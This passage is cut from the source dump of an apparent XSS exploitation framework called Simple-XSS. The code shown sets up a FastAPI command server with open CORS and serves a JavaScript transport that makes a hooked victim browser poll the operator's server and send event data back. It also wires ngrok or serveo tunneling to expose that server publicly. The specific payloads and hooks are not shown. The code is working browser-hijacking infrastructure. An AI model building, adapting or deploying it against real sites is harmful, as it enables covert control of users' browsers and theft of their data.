BaseSession as BaseTransportSession, 7 | ) 8 | from simplexss.core.transports.exceptions import TransportError 9 | from simplexss.core.tunneling import ( 10 | TunnelingServiceFactory, 11 | BaseTunnelingService, 12 | BaseSession as BaseTunnelingSession, 13 | ) 14 | from simplexss.core.tunneling.exceptions import TunnelingError 15 | from simplexss.core.schemas import ( 16 | ArgumentsSchema, 17 | SettingsSchema 18 | ) 19 | from simplexss.core.types import ( 20 | BasePayload, 21 | BaseHook, 22 | ) 23 | from simplexss.utils.packages import BasePackageManager 24 | from .types import BaseProcessor 25 | from .channels import ProcessorChannel 26 | from .logging import logger 27 | from .enums import Messages 28 | from simplexss.core.ui.contexts import UIContext 29 | 30 | 31 | class SimpleXSSProcessor(BaseProcessor): 32 | def __init__( 33 | self, 34 | arguments: ArgumentsSchema, 35 | settings: SettingsSchema, 36 | transport_factory: TransportServiceFactory, 37 | tunneling_factory: TunnelingServiceFactory, 38 | hook_manager: BasePackageManager, 39 | payload_manager: BasePackageManager, 40 | io_manager: BaseIOManagerAPI, 41 | ui_context: UIContext 42 | ): 43 | self._arguments = arguments 44 | self._settings = settings 45 | self._transport_factory = transport_factory 46 | self._tunneling_factory = tunneling_factory 47 | self._hook_manager = hook_manager 48 | self._payload_manager = payload_manager 49 | self._io_manager = io_manager 50 | self._ui_context = ui_context 51 | 52 | self._hook: BaseHook | None = None 53 | self._payload: BasePayload | None = None 54 | self._transport_service: BaseTransportService | None = None 55 | self._transport_session: BaseTransportSession | None = None 56 | self._tunneling_service: BaseTunnelingService | None = None 57 | self._tunneling_session: BaseTunnelingSession | None = None 58 | self._environment: Environment | None = None 59 | 60 | def _setup_environment(self): 61 | self._environment = Environment( 62 | settings=self._settings, 63 | arguments=self._arguments 64 | ) 65 | 66 | def _setup_hook(self): 67 | self._hook = self._hook_manager.get_package( 68 | self._settings.hook.current, 69 | ) 70 | 71 | def _setup_payload(self): 72 | self._payload = self._payload_manager.get_package( 73 | self._settings.payload.current 74 | ) 75 | 76 | def _setup_tunneling(self): 77 | self._tunneling_service = self._tunneling_factory.create( 78 | self._settings.tunneling.current, 79 | ) 80 | 81 | def _setup_transport(self): 82 | self._transport_service = self._transport_factory.create( 83 | self._settings.transport.current 84 | ) 85 | 86 | async def _run_tunneling(self): 87 | try: 88 | self._tunneling_session = await self._tunneling_service.run( 89 | self._transport_service.PROTOCOL, 90 | self._settings.transport.port, 91 | ) 92 | except TunnelingError as e: 93 | await ProcessorChannel.error_occurred.publish_async(error=f'Tunneling Error: {e}') 94 | raise 95 | 96 | async def _run_transport(self): 97 | try: 98 | settings = self._settings.transport 99 | 100 | self._transport_session = await self._transport_service.run( 101 | host=settings.host, 102 | port=settings.port, 103 | ) 104 | except TransportError: 105 | raise 106 | 107 | async def _bind_dependencies(self): 108 | 109 | if self._settings.tunneling.use: 110 | self._environment.url = self._tunneling_session.public_url 111 | else: 112 | url = self._settings.tunneling.public_url 113 | 114 | if not url: 115 | url = f'http://{self._transport_session.host}:{self._transport_session.port}' 116 | 117 | self._environment.url = url 118 | 119 | self._hook.bind_dependencies( 120 | env=self._environment, 121 | io=self._io_manager, 122 | ) 123 | self._ui_context.hook = self._hook.hook 124 | 125 | self._transport_session.api.bind_payload(self._payload.payload) 126 | self._transport_session.api.bind_environment(self._environment) 127 | self._payload.bind_dependencies( 128 | env=self._environment, 129 | transport=self._transport_session.api, 130 | io=self._io_manager 131 | ) 132 | self._payload.bind_endpoints() 133 | 134 | async def _setup(self): 135 | self._setup_environment() 136 | self._setup_hook() 137 | self._setup_payload() 138 | self._setup_transport() 139 | self._setup_tunneling() 140 | 141 | async def _run(self): 142 | await self._run_transport() 143 | 144 | if self._settings.tunneling.use: 145 | await self._run_tunneling() 146 | 147 | async def run(self): 148 | try: 149 | await self._setup() 150 | await self._run() 151 | await self._bind_dependencies() 152 | 153 | await ProcessorChannel.process_launched.publish_async() 154 | logger.info('Process launched') 155 | await self._io_manager.print(Messages.PROCESS_LAUNCHED, color='green') 156 | await self._io_manager.print(Messages.CURRENT_HOOK.format(hook=self._ui_context.hook), color='green') 157 | 158 | except Exception as e: 159 | await ProcessorChannel.error_occurred.publish_async( 160 | error=f'Error Occurred: {e.__class__.__name__}: {e}' 161 | ) 162 | await self.stop() 163 | 164 | async def stop(self): 165 | try: 166 | await self._transport_service.stop(self._transport_session) 167 | 168 | if self._settings.tunneling.use: 169 | await self._tunneling_service.stop(self._tunneling_session) 170 | 171 | await ProcessorChannel.process_terminated.publish_async() 172 | 173 | logger.info('Process terminated') 174 | await self._io_manager.print(Messages.PROCESS_TERMINATED, color='green') 175 | except Exception as e: 176 | pass 177 | -------------------------------------------------------------------------------- /simplexss/core/process/types.py: -------------------------------------------------------------------------------- 1 | from abc import ( 2 | ABC, 3 | abstractmethod 4 | ) 5 | 6 | 7 | class BaseProcessor(ABC): 8 | @abstractmethod 9 | async def run(self): ... 10 | 11 | @abstractmethod 12 | async def stop(self): ... 13 | -------------------------------------------------------------------------------- /simplexss/core/schemas/__init__.py: -------------------------------------------------------------------------------- 1 | from .arguments import ArgumentsSchema 2 | from .settings import SettingsSchema 3 | 4 | __all__ = [ 5 | 'ArgumentsSchema', 6 | 'SettingsSchema', 7 | ] 8 | -------------------------------------------------------------------------------- /simplexss/core/schemas/arguments.py: -------------------------------------------------------------------------------- 1 | from pydantic import ( 2 | BaseModel, 3 | Field 4 | ) 5 | from simplexss.core.enums import GraphicMode 6 | from simplexss.core.config import ( 7 | DEFAULT_SETTINGS_FILE, 8 | DEFAULT_GRAPHIC_MODE, 9 | DEFAULT_LANGUAGE, 10 | ) 11 | 12 | 13 | class ArgumentsSchema(BaseModel): 14 | settings_file: str = Field(DEFAULT_SETTINGS_FILE, description='settings file path') 15 | graphic_mode: GraphicMode = Field(DEFAULT_GRAPHIC_MODE, description='graphic mode') 16 | language: str = Field(DEFAULT_LANGUAGE, description='language') 17 | -------------------------------------------------------------------------------- /simplexss/core/schemas/settings.py: -------------------------------------------------------------------------------- 1 | from pydantic import BaseModel, Field 2 | 3 | from simplexss.core.config import ( 4 | DEFAULT_RESOLUTION, 5 | DEFAULT_THEME, 6 | DEFAULT_HOST, 7 | DEFAULT_PORT, 8 | DEFAULT_TRANSPORT, 9 | PAYLOADS_DIRECTORY, 10 | HOOKS_DIRECTORY, 11 | DEFAULT_TUNNELING_SERVICE 12 | ) 13 | 14 | 15 | class HookSettingsSchema(BaseModel): 16 | current: str = None 17 | directory: str = HOOKS_DIRECTORY 18 | 19 | 20 | class PayloadSettingsSchema(BaseModel): 21 | current: str = None 22 | directory: str = PAYLOADS_DIRECTORY 23 | 24 | 25 | class TransportSettingsSchema(BaseModel): 26 | current: str = DEFAULT_TRANSPORT 27 | host: str = DEFAULT_HOST 28 | port: int = DEFAULT_PORT 29 | 30 | 31 | class TunnelingSettingsSchema(BaseModel): 32 | current: str = DEFAULT_TUNNELING_SERVICE 33 | use: bool = True 34 | public_url: str = '' 35 | 36 | 37 | class GraphicsSettingsSchema(BaseModel): 38 | resolution: tuple = DEFAULT_RESOLUTION 39 | theme: str = Field(DEFAULT_THEME) 40 | 41 | 42 | class SettingsSchema(BaseModel): 43 | hook: HookSettingsSchema = HookSettingsSchema() 44 | payload: PayloadSettingsSchema = PayloadSettingsSchema() 45 | transport: TransportSettingsSchema = TransportSettingsSchema() 46 | tunneling: TunnelingSettingsSchema = TunnelingSettingsSchema() 47 | graphics: GraphicsSettingsSchema = GraphicsSettingsSchema() -------------------------------------------------------------------------------- /simplexss/core/settings.py: -------------------------------------------------------------------------------- 1 | from pydantic import BaseModel 2 | 3 | from simplexss.core.logging import logger 4 | from simplexss.core.config import DEFAULT_SETTINGS_FILE 5 | from simplexss.core.containers import CoreContainer 6 | from simplexss.utils.di import inject 7 | from simplexss.utils.settings import ( 8 | BaseLoader, 9 | ) 10 | 11 | 12 | @inject 13 | def load_settings( 14 | schema: type[BaseModel] = CoreContainer.settings_schema, 15 | args=CoreContainer.arguments, 16 | loader: BaseLoader = CoreContainer.settings_loader): 17 | file = args.settings_file 18 | try: 19 | settings = loader.load(schema=schema, file=file) 20 | except Exception as e: 21 | settings = schema() 22 | save_settings(settings=settings) 23 | 24 | logger.info(f'Settings loaded: {settings}') 25 | return settings 26 | 27 | 28 | @inject 29 | def save_settings( 30 | settings=CoreContainer.settings, 31 | args=CoreContainer.arguments, 32 | loader: BaseLoader = CoreContainer.settings_loader): 33 | file = args.settings_file 34 | try: 35 | loader.save(data=settings, file=file) 36 | except ValueError: 37 | loader.save(data=settings, file=DEFAULT_SETTINGS_FILE) 38 | 39 | logger.info(f'Settings saved: {settings}') 40 | -------------------------------------------------------------------------------- /simplexss/core/transports/__init__.py: -------------------------------------------------------------------------------- 1 | from .types import ( 2 | BaseSession, 3 | BaseTransportServiceFactory, 4 | BaseTransportAPI, 5 | BaseTransportService, 6 | BaseClient, 7 | BaseEvent, 8 | Endpoint 9 | ) 10 | 11 | from .factories import ( 12 | TransportServiceFactory, 13 | ) 14 | from .api import ( 15 | CommonTransportAPI, 16 | ) 17 | 18 | from . import http 19 | 20 | __all__ = [ 21 | 'BaseSession', 22 | 'BaseTransportAPI', 23 | 'BaseTransportServiceFactory', 24 | 'TransportServiceFactory', 25 | 'BaseTransportService', 26 | 'CommonTransportAPI', 27 | 'BaseClient', 28 | 'BaseEvent', 29 | 'Endpoint' 30 | ] 31 | -------------------------------------------------------------------------------- /simplexss/core/transports/api.py: -------------------------------------------------------------------------------- 1 | import inspect 2 | 3 | 4 | from simplexss.core.logging import logger 5 | 6 | from .types import ( 7 | BaseTransportAPI, 8 | BaseEvent, 9 | Endpoint, 10 | BaseClient 11 | ) 12 | from ..data import Environment 13 | 14 | 15 | class CommonTransportAPI(BaseTransportAPI): 16 | def __init__(self): 17 | self._payload = None 18 | self._endpoints = {} 19 | self._client_events = {} 20 | self._env = None 21 | 22 | @property 23 | def payload(self) -> str: 24 | if self._payload is None: 25 | raise ValueError('Payload not bound') 26 | 27 | return self._payload 28 | 29 | @property 30 | def environment(self) -> Environment: 31 | return self._env 32 | 33 | def bind_payload(self, payload: str): 34 | if not isinstance(payload, str): 35 | raise TypeError('Payload must be a string JS code') 36 | 37 | self._payload = payload 38 | logger.debug(f'apicall: Bound payload: {payload}') 39 | 40 | def bind_environment(self, env: Environment): 41 | self._env = env 42 | 43 | def bind_endpoint(self, event: str, endpoint: Endpoint): 44 | self._endpoints[event] = endpoint 45 | logger.debug(f'apicall: Endpoint bound on event {event}: {endpoint}') 46 | 47 | async def send_event(self, client: BaseClient, event: BaseEvent): 48 | events = self._client_events.get(client, []) 49 | events.append(event) 50 | self._client_events[client] = events 51 | logger.debug(f'apicall: Event send to {client}: {event}') 52 | 53 | async def handle_event(self, client: BaseClient, event: BaseEvent): 54 | endpoint = self._endpoints.get(event.name) 55 | 56 | if not endpoint: 57 | return 58 | 59 | if inspect.iscoroutinefunction(endpoint): 60 | result = await endpoint(client, event) 61 | else: 62 | result = endpoint(client, event) 63 | 64 | if result is not None: 65 | if isinstance(result, BaseEvent): 66 | await self.send_event(client, result) 67 | elif isinstance(result, dict): 68 | await self.send_event(client, BaseEvent.model_validate(result)) 69 | 70 | def pop_event(self, client: BaseClient) -> BaseEvent | None: 71 | try: 72 | events = self._client_events.get(client) 73 | 74 | if events: 75 | return events.pop(0) 76 | except KeyError: 77 | return None 78 | -------------------------------------------------------------------------------- /simplexss/core/transports/exceptions.py: -------------------------------------------------------------------------------- 1 | class TransportError(Exception): 2 | pass 3 | 4 | 5 | class AddressError(TransportError): 6 | pass 7 | -------------------------------------------------------------------------------- /simplexss/core/transports/factories.py: -------------------------------------------------------------------------------- 1 | from functools import cache 2 | from typing import Iterable 3 | 4 | from simplexss.utils.clsutils import iter_subclasses 5 | from .types import ( 6 | BaseTransportService, 7 | BaseTransportServiceFactory 8 | ) 9 | 10 | 11 | class TransportServiceFactory(BaseTransportServiceFactory): 12 | def create(self, name: str) -> BaseTransportService: 13 | service = self.get_service(name=name) 14 | if service is None: 15 | raise ValueError(f'Service not found: {name}') 16 | 17 | return service() 18 | 19 | @cache 20 | def get_service(self, name: str) -> type[BaseTransportService] | None: 21 | for service in iter_subclasses(BaseTransportService): 22 | if service.NAME == name: 23 | return service 24 | 25 | def get_names(self) -> Iterable[str]: 26 | return { 27 | service.NAME 28 | for service in iter_subclasses(BaseTransportService) 29 | } -------------------------------------------------------------------------------- /simplexss/core/transports/http/__init__.py: -------------------------------------------------------------------------------- 1 | from .services import HTTPService 2 | from .sessions import HTTPSession 3 | 4 | __all__ = [ 5 | 'HTTPService', 6 | 'HTTPSession', 7 | ] 8 | -------------------------------------------------------------------------------- /simplexss/core/transports/http/fastapi/__init__.py: -------------------------------------------------------------------------------- 1 | from .servers import FastAPIServer 2 | 3 | __all__ = [ 4 | 'FastAPIServer' 5 | ] 6 | -------------------------------------------------------------------------------- /simplexss/core/transports/http/fastapi/constants.py: -------------------------------------------------------------------------------- 1 | TRANSPORT_JS_CODE = ''' 2 | const token = "{{ token }}"; 3 | const url = "{{ environment.url }}"; 4 | const listeners = {}; 5 | 6 | const sendEvent = async (event, data = {}) => { 7 | const options = { 8 | method: 'POST', 9 | headers: { 10 | 'Content-Type': 'application/json', 11 | 'Authorization': token 12 | }, 13 | body: JSON.stringify({ 14 | 'name': event, 15 | 'data': data 16 | }) 17 | }; 18 | 19 | await fetch(`${url}/event`, options); 20 | } 21 | 22 | const addListener = (event, callback) => { 23 | if (!listeners[event]) { 24 | listeners[event] = []; 25 | } 26 | listeners[event].push(callback); 27 | } 28 | 29 | const listenForEvents = async () => { 30 | const options = { 31 | method: 'GET', 32 | headers: { 33 | 'Content-Type': 'application/json', 34 | 'Authorization': token 35 | }, 36 | }; 37 | 38 | while (true) { 39 | const response = await fetch(`${url}/event`, options); 40 | const data = await response.json(); 41 | const callbacks = listeners[data.name] || []; 42 | 43 | callbacks.forEach(callback => { 44 | callback(data.data); 45 | }); 46 | } 47 | } 48 | 49 | // Start listening for events 50 | listenForEvents(); 51 | ''' 52 | -------------------------------------------------------------------------------- /simplexss/core/transports/http/fastapi/dependencies.py: -------------------------------------------------------------------------------- 1 | from typing import Annotated 2 | 3 | from fastapi import ( 4 | Request, 5 | Header 6 | ) 7 | 8 | from .services import ( 9 | get_client, 10 | generate_token 11 | ) 12 | 13 | 14 | async def authenticate( 15 | request: Request, 16 | user_agent: Annotated[str | None, Header()] = None, 17 | authorization: Annotated[str | None, Header()] = None, 18 | ): 19 | if not authorization: 20 | authorization = generate_token() 21 | 22 | client = get_client( 23 | origin=request.client.host, 24 | user_agent=user_agent, 25 | token=authorization, 26 | ) 27 | return client 28 | -------------------------------------------------------------------------------- /simplexss/core/transports/http/fastapi/schemas.py: -------------------------------------------------------------------------------- 1 | from simplexss.core.transports import ( 2 | BaseClient, 3 | BaseEvent, 4 | ) 5 | 6 | 7 | class HTTPClient(BaseClient): 8 | token: str 9 | user_agent: str 10 | 11 | def __hash__(self) -> int: 12 | return hash(self.token) 13 | 14 | 15 | class HTTPEvent(BaseEvent): 16 | pass 17 | -------------------------------------------------------------------------------- /simplexss/core/transports/http/fastapi/servers.py: -------------------------------------------------------------------------------- 1 | import asyncio 2 | import threading 3 | import queue 4 | 5 | import uvicorn 6 | from starlette.middleware.cors import CORSMiddleware 7 | from fastapi import ( 8 | FastAPI, 9 | Depends, 10 | responses, 11 | Request 12 | ) 13 | from jinja2 import Template 14 | 15 | from simplexss.core.transports import ( 16 | BaseTransportAPI, 17 | CommonTransportAPI, 18 | BaseClient, 19 | BaseEvent, 20 | ) 21 | from simplexss.core.logging import logger 22 | from simplexss.core.transports.exceptions import TransportError 23 | from simplexss.utils.theads import thread 24 | from simplexss.utils.network import ( 25 | validate_host, 26 | validate_port 27 | ) 28 | from .constants import TRANSPORT_JS_CODE 29 | from .dependencies import authenticate 30 | from ..types import ( 31 | BaseHTTPTransportServer, 32 | ) 33 | 34 | 35 | class FastAPIServer(BaseHTTPTransportServer): 36 | def __init__(self, host: str = None, port: int = None, fastapi: FastAPI = None): 37 | self._running = False 38 | self._api: CommonTransportAPI | None = None 39 | self._fastapi = fastapi or FastAPI() 40 | self._server_thread: threading.Thread | None = None 41 | self._uvicorn_server: uvicorn.Server | None = None 42 | self._host: str = host 43 | self._port: int = port 44 | self._error_queue = queue.Queue() 45 | 46 | self._configure_fastapi() 47 | 48 | def _configure_fastapi(self): 49 | self._fastapi.add_middleware( 50 | CORSMiddleware, 51 | allow_origins=['*'], 52 | allow_credentials=True, 53 | allow_methods=['*'], 54 | allow_headers=['*'], 55 | ) 56 | self._register_endpoints() 57 | 58 | def _register_endpoints(self): 59 | self._fastapi.get( 60 | '/.js', 61 | status_code=200, 62 | )(self._read_payload) 63 | 64 | self._fastapi.get( 65 | '/event', 66 | status_code=200, 67 | response_model=BaseEvent, 68 | )(self._read_event) 69 | 70 | self._fastapi.post( 71 | '/event', 72 | status_code=200, 73 | )(self._create_event) 74 | 75 | def _get_full_payload(self, client: BaseClient) -> str: 76 | transport = Template(TRANSPORT_JS_CODE).render( 77 | token=client.token, 78 | environment=self._api.environment, 79 | ) 80 | 81 | code = self._api.payload 82 | code = f'{transport}\n\n{code}' 83 | return code 84 | 85 | async def _read_payload(self, client: BaseClient = Depends(authenticate)): 86 | code = self._get_full_payload(client=client) 87 | await self._api.handle_event(client, BaseEvent(name='connection', data={})) 88 | return responses.HTMLResponse( 89 | content=code, 90 | media_type='text/javascript' 91 | ) 92 | 93 | async def _read_event(self, client: BaseClient = Depends(authenticate)): 94 | event = self._api.pop_event(client) 95 | 96 | while not event: 97 | await asyncio.sleep(0.1) 98 | event = self._api.pop_event(client) 99 | 100 | return event 101 | 102 | async def _create_event(self, event: BaseEvent, client: BaseClient = Depends(authenticate)): 103 | await self._api.handle_event(client, event) 104 | 105 | def _check_errors(self): 106 | if not self._error_queue.empty(): 107 | error = self._error_queue.get() 108 | raise error 109 | 110 | def _setup_api(self): 111 | self._api = CommonTransportAPI() 112 | 113 | @thread(daemon=True) 114 | def _run_server_in_thread(self): 115 | try: 116 | config = uvicorn.Config( 117 | app=self._fastapi, 118 | host=self._host, 119 | port=self._port 120 | ) 121 | self._uvicorn_server = uvicorn.Server(config) 122 | self._uvicorn_server.run() 123 | 124 | except SystemExit as e: 125 | logger.error(f'Server Error: {e}') 126 | self._error_queue.put(TransportError(f'Address is already in use: {self._host}:{self._port}')) 127 | 128 | async def _run_server(self): 129 | self._server_thread = self._run_server_in_thread() 130 | 131 | await asyncio.sleep(0.5) 132 | self._check_errors() 133 | 134 | def _validate_params(self): 135 | validate_port(self._port, raise_exceptions=True) 136 | validate_host(self._host, raise_exceptions=True) 137 | 138 | async def run(self, host: str = None, port: int = None) -> BaseTransportAPI: 139 | logger.info(f'Starting up FastAPI server on {self._host}:{self._port}') 140 | 141 | if self._running: 142 | logger.error(f'Server is already running') 143 | raise TransportError('Server is already running') 144 | 145 | self._host = host or self._host 146 | self._port = port or self._port 147 | 148 | self._validate_params() 149 | 150 | self._running = True 151 | 152 | self._setup_api() 153 | 154 | await self._run_server() 155 | 156 | return self._api 157 | 158 | async def stop(self): 159 | logger.info(f'Turning down FastAPI server on {self._host}:{self._port}') 160 | self._uvicorn_server.should_exit = True 161 | del self._server_thread 162 | self._running = False 163 | -------------------------------------------------------------------------------- /simplexss/core/transports/http/fastapi/services.py: -------------------------------------------------------------------------------- 1 | from uuid import uuid4 2 | from functools import cache 3 | 4 | from .schemas import HTTPClient 5 | 6 | 7 | @cache 8 | def get_client(**data): 9 | return HTTPClient.model_validate(data) 10 | 11 | 12 | def generate_token() -> str: 13 | return str(uuid4()) 14 | -------------------------------------------------------------------------------- /simplexss/core/transports/http/services.py: -------------------------------------------------------------------------------- 1 | from .sessions import HTTPSession 2 | from .types import ( 3 | BaseHTTPTransportServer, 4 | ) 5 | from .fastapi import ( 6 | FastAPIServer, 7 | ) 8 | from ..types import ( 9 | BaseTransportService, 10 | BaseSession, 11 | ) 12 | from ..exceptions import TransportError 13 | 14 | 15 | class HTTPService(BaseTransportService): 16 | NAME = 'Default HTTP Transport' 17 | PROTOCOL = 'http' 18 | 19 | def __init__(self): 20 | self._sessions = {} 21 | 22 | async def run( 23 | self, 24 | host: str, 25 | port: int, 26 | server: BaseHTTPTransportServer = None, 27 | **kwargs 28 | ) -> BaseSession: 29 | if not server: 30 | server = FastAPIServer() 31 | 32 | api = await server.run( 33 | host=host, 34 | port=port, 35 | ) 36 | 37 | session = HTTPSession( 38 | host=host, 39 | port=port, 40 | api=api, 41 | ) 42 | 43 | self._sessions[session] = server 44 | return session 45 | 46 | async def stop(self, session: BaseSession) -> None: 47 | server = self._sessions.get(session) 48 | if server is None: 49 | raise ValueError('Session not found') 50 | 51 | await server.stop() 52 | -------------------------------------------------------------------------------- /simplexss/core/transports/http/sessions.py: -------------------------------------------------------------------------------- 1 | from dataclasses import dataclass 2 | from ..types import ( 3 | BaseSession 4 | ) 5 | 6 | 7 | @dataclass(frozen=True) 8 | class HTTPSession(BaseSession): 9 | pass 10 | -------------------------------------------------------------------------------- /simplexss/core/transports/http/types.py: -------------------------------------------------------------------------------- 1 | from abc import ( 2 | ABC, 3 | abstractmethod 4 | ) 5 | from simplexss.core.transports import BaseTransportAPI 6 | 7 | 8 | class BaseHTTPTransportServer(ABC): 9 | @abstractmethod 10 | async def run(self, host: str, port: int) -> BaseTransportAPI: ... 11 | 12 | @abstractmethod 13 | async def stop(self): ... 14 | -------------------------------------------------------------------------------- /simplexss/core/transports/types.py: -------------------------------------------------------------------------------- 1 | from abc import ( 2 | ABC, 3 | abstractmethod 4 | ) 5 | from typing import ( 6 | Callable, 7 | Coroutine, 8 | Iterable 9 | ) 10 | 11 | from pydantic import BaseModel 12 | from dataclasses import dataclass 13 | 14 | from simplexss.core.data import Environment 15 | 16 | type Endpoint = Callable[[BaseClient, BaseEvent], Coroutine | BaseEvent | any | None] 17 | 18 | 19 | @dataclass(frozen=True) 20 | class BaseSession: 21 | host: str 22 | port: int 23 | api: 'BaseTransportAPI' 24 | 25 | 26 | class BaseClient(BaseModel): 27 | origin: str 28 | 29 | @abstractmethod 30 | def __hash__(self) -> int: ... 31 | 32 | 33 | class BaseEvent(BaseModel): 34 | name: str 35 | data: dict = None 36 | 37 | 38 | class BaseTransportAPI(ABC): 39 | @abstractmethod 40 | def bind_payload(self, payload: str): ... 41 | 42 | @abstractmethod 43 | def bind_environment(self, env: Environment): ... 44 | 45 | @abstractmethod 46 | def bind_endpoint(self, event: str, endpoint: Endpoint): ... 47 | 48 | @abstractmethod 49 | async def send_event(self, client: BaseClient, event: BaseEvent): ... 50 | 51 | 52 | class BaseTransportService(ABC): 53 | NAME: str 54 | PROTOCOL: str 55 | 56 | @abstractmethod 57 | async def run(self, host: str, port: int, **kwargs) -> BaseSession: ... 58 | 59 | @abstractmethod 60 | async def stop(self, session: BaseSession) -> None: ... 61 | 62 | 63 | class BaseTransportServiceFactory(ABC): 64 | @abstractmethod 65 | def create(self, name: str): ... 66 | 67 | @abstractmethod 68 | def get_service(self, name: str) -> type[BaseTransportService] | None: ... 69 | 70 | @abstractmethod 71 | def get_names(self) -> Iterable[str]: ... 72 | -------------------------------------------------------------------------------- /simplexss/core/transports/websocket/__init__.py: -------------------------------------------------------------------------------- 1 | from .services import WebsocketService 2 | from .sessions import WebsocketSession 3 | 4 | __all__ = [ 5 | 'WebsocketService', 6 | 'WebsocketSession', 7 | ] 8 | -------------------------------------------------------------------------------- /simplexss/core/transports/websocket/server/__init__.py: -------------------------------------------------------------------------------- 1 | from .servers import WebsocketServer 2 | 3 | 4 | __all__ = [ 5 | 'WebsocketServer', 6 | ] -------------------------------------------------------------------------------- /simplexss/core/transports/websocket/server/constants.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CrazyProger1/Simple-XSS/758eb1810fb9068e6a66e5389d251b24bc34d6f2/simplexss/core/transports/websocket/server/constants.py -------------------------------------------------------------------------------- /simplexss/core/transports/websocket/server/schemas.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CrazyProger1/Simple-XSS/758eb1810fb9068e6a66e5389d251b24bc34d6f2/simplexss/core/transports/websocket/server/schemas.py -------------------------------------------------------------------------------- /simplexss/core/transports/websocket/server/servers.py: -------------------------------------------------------------------------------- 1 | import asyncio 2 | import queue 3 | import websockets 4 | 5 | from simplexss.core.transports import ( 6 | BaseTransportAPI, 7 | CommonTransportAPI 8 | ) 9 | from simplexss.utils.network import validate_port, validate_host 10 | from simplexss.utils.theads import thread 11 | from simplexss.core.transports.exceptions import ( 12 | TransportError, 13 | ) 14 | from ..types import BaseWebsocketServer 15 | 16 | 17 | class WebsocketServer(BaseWebsocketServer): 18 | 19 | async def run(self, host: str, port: int) -> BaseTransportAPI: 20 | pass 21 | 22 | async def stop(self): 23 | pass 24 | -------------------------------------------------------------------------------- /simplexss/core/transports/websocket/services.py: -------------------------------------------------------------------------------- 1 | from .types import BaseWebsocketServer 2 | from ..types import ( 3 | BaseTransportService, 4 | BaseSession, 5 | ) 6 | from ..exceptions import TransportError 7 | from .server import WebsocketServer 8 | from .sessions import WebsocketSession 9 | 10 | 11 | class WebsocketService(BaseTransportService): 12 | NAME = 'Default Websocket Transport' 13 | PROTOCOL = 'websocket' 14 | 15 | def __init__(self): 16 | self._sessions = {} 17 | 18 | async def run( 19 | self, 20 | host: str, 21 | port: int, 22 | server: BaseWebsocketServer = None, 23 | **kwargs 24 | ) -> BaseSession: 25 | if server is None: 26 | server = WebsocketServer() 27 | 28 | api = await server.run( 29 | host=host, 30 | port=port, 31 | ) 32 | 33 | session = WebsocketSession( 34 | host=host, 35 | port=port, 36 | api=api, 37 | ) 38 | 39 | self._sessions[session] = server 40 | return session 41 | 42 | async def stop(self, session: BaseSession) -> None: 43 | server = self._sessions.get(session) 44 | if server is None: 45 | raise ValueError('Session not found') 46 | 47 | await server.stop() 48 | -------------------------------------------------------------------------------- /simplexss/core/transports/websocket/sessions.py: -------------------------------------------------------------------------------- 1 | from dataclasses import dataclass 2 | from ..types import ( 3 | BaseSession 4 | ) 5 | 6 | 7 | @dataclass(frozen=True) 8 | class WebsocketSession(BaseSession): 9 | pass 10 | -------------------------------------------------------------------------------- /simplexss/core/transports/websocket/types.py: -------------------------------------------------------------------------------- 1 | from abc import ( 2 | ABC, 3 | abstractmethod 4 | ) 5 | from simplexss.core.transports import BaseTransportAPI 6 | 7 | 8 | class BaseWebsocketServer(ABC): 9 | @abstractmethod 10 | async def run(self, host: str, port: int) -> BaseTransportAPI: ... 11 | 12 | @abstractmethod 13 | async def stop(self): ... 14 | -------------------------------------------------------------------------------- /simplexss/core/tunneling/__init__.py: -------------------------------------------------------------------------------- 1 | from . import ngrok, serveo 2 | 3 | from .types import ( 4 | BaseTunnelingService, 5 | BaseTunnelingServiceFactory, 6 | BaseSession 7 | ) 8 | from .factories import TunnelingServiceFactory 9 | 10 | __all__ = [ 11 | 'BaseTunnelingService', 12 | 'BaseTunnelingServiceFactory', 13 | 'TunnelingServiceFactory', 14 | 'BaseSession', 15 | ] 16 | -------------------------------------------------------------------------------- /simplexss/core/tunneling/exceptions.py: -------------------------------------------------------------------------------- 1 | class TunnelingError(Exception): 2 | pass 3 | -------------------------------------------------------------------------------- /simplexss/core/tunneling/factories.py: -------------------------------------------------------------------------------- 1 | from functools import cache 2 | from typing import Iterable 3 | 4 | from simplexss.utils.clsutils import iter_subclasses 5 | 6 | from .types import ( 7 | BaseTunnelingServiceFactory, 8 | BaseTunnelingService 9 | ) 10 | 11 | 12 | class TunnelingServiceFactory(BaseTunnelingServiceFactory): 13 | def create(self, name: str) -> BaseTunnelingService: 14 | service = self.get_service(name=name) 15 | if service is None: 16 | raise ValueError(f'Service not found: {name}') 17 | 18 | return service() 19 | 20 | @cache 21 | def get_service(self, name: str) -> type[BaseTunnelingService] | None: 22 | for service in iter_subclasses(BaseTunnelingService): 23 | if service.NAME == name: 24 | return service 25 | 26 | def get_names(self, protocol: str) -> Iterable[str]: 27 | return { 28 | service.NAME 29 | for service in iter_subclasses(BaseTunnelingService) 30 | if protocol in service.PROTOCOLS 31 | } 32 | -------------------------------------------------------------------------------- /simplexss/core/tunneling/ngrok/__init__.py: -------------------------------------------------------------------------------- 1 | from .services import NgrokService 2 | 3 | __all__ = [ 4 | 'NgrokService', 5 | ] 6 | -------------------------------------------------------------------------------- /simplexss/core/tunneling/ngrok/services.py: -------------------------------------------------------------------------------- 1 | from pyngrok import ( 2 | ngrok, 3 | exception as ngexception 4 | ) 5 | 6 | from simplexss.core.logging import logger 7 | from simplexss.utils.network import ( 8 | change_protocol, 9 | validate_port, 10 | ) 11 | 12 | from .sessions import NgrokSession 13 | from ..types import ( 14 | BaseTunnelingService, 15 | BaseSession, 16 | ) 17 | from ..exceptions import ( 18 | TunnelingError 19 | ) 20 | 21 | 22 | class NgrokService(BaseTunnelingService): 23 | NAME = 'ngrok' 24 | PROTOCOLS = { 25 | 'websocket', 26 | } 27 | PROTOCOL_SCHEMAS = { 28 | 'websocket': 'wss' 29 | } 30 | 31 | @staticmethod 32 | async def _create_tunnel(port: int) -> str: 33 | try: 34 | tunnel = ngrok.connect(port) 35 | logger.debug(f'Tunnel is up: localhost:{port} -> {tunnel.public_url}') 36 | return tunnel.public_url 37 | except ngexception.PyngrokError as e: 38 | logger.error(f'Failed to open tunnel: {e.__class__.__name__}: {e}') 39 | raise TunnelingError(f'Failed to open tunnel: {e.__class__.__name__}: {e}') 40 | 41 | async def _create_session(self, port: int, protocol: str) -> BaseSession: 42 | schema = self.PROTOCOL_SCHEMAS[protocol] 43 | public_url = await self._create_tunnel(port=port) 44 | return NgrokSession( 45 | protocol=protocol, 46 | port=port, 47 | 